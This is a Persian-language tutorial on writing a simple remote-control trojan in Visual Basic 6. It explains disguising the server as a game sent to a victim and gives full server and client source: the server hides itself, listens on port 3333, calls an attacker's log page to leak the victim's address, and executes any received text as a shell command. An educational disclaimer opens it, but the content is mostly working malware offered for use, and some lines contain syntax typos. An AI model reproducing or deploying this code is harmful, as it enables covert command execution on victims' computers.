نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید . خوب , اگه دنبال یه مقاله خوب واسه تروجان نویسی با ویژوال بیسیک 6 هستید فکر میکنم مقاله خوبی پیش روی شماست البته این مقاله خیلی مختصر هستش ولی اگه در آینده وقتشو داشتم یه مقاله مفصل در این باره مینویسم .
بزارید اول یه توضیح مختصری در مورد تروجان بدم و اینکه تروجانها چطوری کار میکنند .
یه تروجان یا بهتره بگم یک اسب تروجان کامپیوتری مثل یه برنامه ساده هستش که ازش انتظار انجام کار خاصی رو میشه ولی در اصل اون برنامه کارهای مخفیه دیگه ای رو انجام میده . خیلی ساده هدف ما اونو دانلود میکنه به گمان اینکه یه برنامه خوب باشه مثلا یه بازی جذاب ولی وقتی اونو اجرا میکنه تروجان مثل یه سرور شروع به کار میکنه حالا اینکه سرور چیه فکر نمی کنم به موضوع این مقاله زیاد ربطی داشته باشه ولی به عنوان یک تعریف ساده میشه گفت برنامه ای که پاسخ گوی درخواستها باشه رو بهش میگن سرور .
خوب حالا یه تروجان چطوری کار میکنه ؟
ما دو تا فایل داریم که یکیش سرور هستش و یکی هم کلاینت که کار این کلاینت درخواست کردن هستش حالا درخواست چی ؟ دیگه دیگه ...!!!
این سرور همون فایلی هستش که ما واسه هدفمون می فرستیم و این کلاینت مرکز کنترل سرور هستش . این سرور و کلاینت برای ایجاد ارتباط با هم نیاز به یه کنترلی دارند به نام winsock .
winsock یکی از کنترل های ویژوال بیسیک هستش که اجازه ارتباط میان کامپیوتر ها رو به ما میده . مثلا فکر کنید که ما دستور خاموش کردن رو به سرور میفرستیم . این وینساک به ما کمک میکنه تا اطلاعات رو از کامپیوتر خودمون به سرور بفرستیم . خوب حالا اونور داستان وقتی اطلاعات به کامپیوتر هدف رسید اونجا یه سوراخی هستش که به سرور میگه این بچه دباره کرمش گرفته کامپیوتر این بد بخت رو خاموش کنه و سرور هم به کامپیوتر هدف میگه که خاموش شه و اون بدبختم که احتمالا 24 ساعته که روشنه از خدا خواسته ...
حالا دیگه داستان تعریف کردن بسه بریم سر اصل مطلب
این کد هایی که این زیر مشاهده میکنید کدهای فایل server.exe هستش . توجه کنید که شما به کنترل وینساک نیاز دارید پس دکمه های Ctl + T رو باهم فشار دهید و از پینجره ای که باز میشه دنبال Microsoft Winsock Control 6.0 بگردین . بعد از اضافه کردن اسمشو بزارید winsock1
خوب حالا بیاید ببینیم این کدها چیکار میکنند
Private Sub Form_Load()
Me.Hide
If Winsock1.State <>; sckClosed Then Winsock1.Close
Winsock1.LocalPort = 3333
Winsock1.Listen
Shell ("explorer http://www.yoursite/log.php"
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Shell data, vbNormalFocus
End Sub
me.hide اگه کسی ندونه این چیه که خیلی باحاله
If Winsock1.State <> sckClosed Then Winsock1.Close وقتی صفحه لود میشه همه ارتباط های مربوط به وینساکمونو میبنده
Winsock1.LocalPort = 3333 پورت وینساک رو تنظیم میکنه یعنی از این پورت میشه بهش کانکت شد
Winsock1.Listen خوب حالا وینساک گوش به زنگ میمونه تا یکی بهش کانکت شه
Shell ("explorer http://www.yoursite/log.php" این یه کد اختیاری برای فهمیدن آدرس های فعال میشه از روشهای دیگه ای آیپی هدف رو در اختیار خودمون قرار بدیم
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) درخواست ارتباط رو فعال میکنه
If Winsock1.State <> sckClosed Then Winsock1.Close Close اگه ارتباطی فعال باشه اونو قطع میکنه
Winsock1.Accept خوب حالا ارتباط مورت تائید قرار میگیره
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) وقتی داده ای بیاد فعال میشه مثل وقتی که دستوری بفرستیم واسش
Dim Data As String خوب حالا یه متغیر تعریف کردیم
Winsock1.GetData Data خوب حالا داده ها که همون دستورات هستند رو دریافت میکنیم
Shell data, vbNormalFocus به به اینهمه زور زدیم که به همین جا برسیم حالا داده های رسیده مثل یه دستور اجرا میشه مثلا اگه بنویسیم shutdown -s -t 10 و ارسال کنیم کامپیوتر قربانی بعد از مدت 10 ثانیه خاموش میشه
خوب حالا نوبت کلاینت هستش . کد زیر کد فایل client.exe هستش که توی فرممون نیاز به یه دونه وینساک به نام winsock1 و سه تا تکست باکس به نام های textbox 1 , textbox2 , twxtbox3 و همچنین 2 تا کامند باتن به نامهای command1 , command 2 داریم
Private Sub Command1_Click()
Winsock1.RemotePort = Text2.Text
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Winsock1.SendData Text3.Text
End Sub
Private Sub Form_Load()
If Winsock1.State <> sckClosed Then Winsock1.Close
End Sub
Private Sub Winsock1_Connect()
msgbox ("Connected!"
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error"
End Sub
خوب حالا ببینیم این کدها چیکار میکنند
Private Sub Command1_Click() وقتی کامند 1 کلیک میشه اجرا میشه
Winsock1.RemotePort = Text2.Text پورت کامپیوتر قربانی به اون چیزی که توی تکستباکس 2 نوشته شده تنظیم میشه
Winsock1.RemoteHost = Text1.Text آدرس کامپیوتر قربانی رو به اونچیزی که توی تکستباکس 1 نوشته شده تنظیم میکنه
Winsock1.Connect جهت ایجاد ارتباط با هدف شروع به تلاش کردن میکنه
Private Sub Command2_Click() وقتی کامند 2 فشرده میشه
Winsock1.SendData Text3.Text داده های درون تکستباکس 3 رو برای کامپیوتر هدف ارسال میکنه
Private Sub Form_Load() When client started
If Winsock1.State <> sckClosed Then Winsock1.Close وقتی فرم لود میشه اگه وینساک مون ارتباط فعالی داشده باشه اونو قطع میکنه
Private Sub Winsock1_Connect() وقتی وینساک کانکت میشه
msgbox ("Connected!" ایجاد ارتباط رو اعلام میکنه
Private Sub Winsock1_Error(...) وقتی خطایی رخ بده
MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error" خطا اعلام میشه
خیلی ساده بود نه؟ اگه دیدم که این مقاله مورد علاقه قرار گرفت شاید قسمت دومش رو هم بنویسم البته خیلی عمقی تر و پیشرفته تر از یه تروجان ساده داس .